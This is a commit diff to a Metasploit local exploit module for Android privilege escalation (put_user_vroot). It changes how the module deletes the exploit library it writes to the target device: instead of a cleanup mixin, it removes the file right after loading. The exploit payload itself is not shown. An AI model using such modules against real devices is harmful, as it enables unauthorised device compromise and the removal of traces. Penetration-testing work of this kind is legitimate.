better library cleanup

Author: timwr

modules/exploits/android/local/put_user_vroot.rb

@@ -11,7 +11,6 @@ class MetasploitModule < Msf::Exploit::Local
 
   include Msf::Post::File
   include Msf::Post::Common
-  include Msf::Exploit::FileDropper
 
   def initialize(info={})
     super( update_info( info, {
@@ -68,7 +67,6 @@ def exploit
 
     workingdir = session.fs.dir.getwd
     remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
-    register_file_for_cleanup(remote_file)
     write_file(remote_file, exploit_data)
 
     print_status("Loading exploit library #{remote_file}")
@@ -84,6 +82,8 @@ def exploit
     )
     session.response_timeout = old_timeout
     print_status("Loaded library #{remote_file}")
+    session.fs.file.rm(remote_file)
+    print_status("Library #{remote_file} was deleted")
   end
 
 end